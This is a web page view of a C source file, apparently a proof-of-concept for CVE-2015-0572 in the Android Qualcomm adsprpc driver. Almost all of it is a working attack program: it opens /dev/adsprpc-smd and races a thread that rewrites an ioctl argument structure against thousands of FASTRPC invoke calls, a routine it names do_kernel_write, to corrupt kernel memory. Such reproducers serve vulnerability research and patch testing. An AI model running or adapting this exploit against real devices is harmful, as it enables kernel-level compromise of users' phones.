-
Notifications
You must be signed in to change notification settings - Fork 202
/
Copy pathCVE-2015-0572.c
127 lines (105 loc) · 3.04 KB
/
CVE-2015-0572.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
/* CVE-2015-0572.c
*
* October BUlletin:
*
* https://code.google.com/p/android/issues/detail?id=211546
*/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <pthread.h>
static const char *dev = "/dev/adsprpc-smd";
typedef uint32_t compat_uint_t;
typedef uint32_t compat_uptr_t;
typedef uint64_t __uint128_t;
struct compat_fastrpc_ioctl_invoke {
compat_uint_t handle; /* remote handle */
compat_uint_t sc; /* scalars describing the data */
compat_uptr_t pra; /* remote arguments list */
};
struct compat_fastrpc_ioctl_invoke_fd {
struct compat_fastrpc_ioctl_invoke inv;
compat_uptr_t fds; /* fd list */
};
struct fastrpc_ioctl_invoke {
uint32_t handle; /* remote handle */
uint32_t sc; /* scalars describing the data */
void *pra; /* remote arguments list */
void *pra_2; /* need to make this struct 64 bit compat */
};
struct fastrpc_ioctl_invoke_fd {
struct fastrpc_ioctl_invoke inv;
int *fds; /* fd list */
int *fds2; /* 64 bit ptr */
};
#define COMPAT_FASTRPC_IOCTL_INVOKE_FD \
_IOWR('R', 4, struct compat_fastrpc_ioctl_invoke_fd)
volatile int trigger = 0;
volatile int trigger1 = 0;
static void *ptr_change(void *hdr)
{
//void *mal = malloc(4096);
volatile unsigned int counter = 0;
struct fastrpc_ioctl_invoke_fd test;
register int sp asm("sp");
//struct fastrpc_ioctl_invoke_fd *fd = sp - sizeof(struct fastrpc_ioctl_invoke_fd);
volatile struct fastrpc_ioctl_invoke_fd *fd = hdr;
printf("hdr is at %p and sp in thread is %x and test is at %p\n", hdr, sp, &test);
trigger1 = 1;
while (trigger == 0) { };
while (trigger != 0) {
fd->fds2 = 0x41414141;
fd->fds = 0x41414141;
fd->inv.sc = 0xbadbeef2;
fd->inv.handle = 0xbadbeef;
fd->inv.pra = 0xbadbeef0;
fd->inv.pra_2 = 0xbadc0de0;
}
trigger1 = 0;
//free(mal);
printf("returning pthread\n");
return NULL;
}
void print(volatile char *test) {
int i;
for (i = 0; i < sizeof(struct fastrpc_ioctl_invoke_fd) + 64; i++)
printf("%x ", *(((volatile char *)test) + i));
}
static void do_kernel_write(int fd)
{
pthread_t race_car;
int counter, i;
register int sp asm("sp");
struct compat_fastrpc_ioctl_invoke_fd invoke = { 0 };
void *ptr = (void*) sp;
printf("sp is at %x\n", sp);
invoke.inv.sc = 0xFFFFFFFF;
invoke.fds = malloc(65535);
for (i = 256; i <= 16384+4096; i += sizeof(struct fastrpc_ioctl_invoke_fd)) {
printf("%d\n", i);
pthread_create(&race_car, NULL, ptr_change, (void *)
ptr - i);
while(trigger1 != 1) {}
trigger = 1;
for (counter = 0; counter < 5000; counter++)
ioctl(fd, COMPAT_FASTRPC_IOCTL_INVOKE_FD, &invoke);
printf("ioctl done\n");
trigger = 0;
pthread_join(race_car, NULL);
}
}
int main(void) {
int fd;
fd = open(dev, O_RDWR);
if (fd < 0) {
printf("Couldn't open %s with error %s\n", dev, strerror(errno));
exit(EXIT_FAILURE);
}
do_kernel_write(fd);
}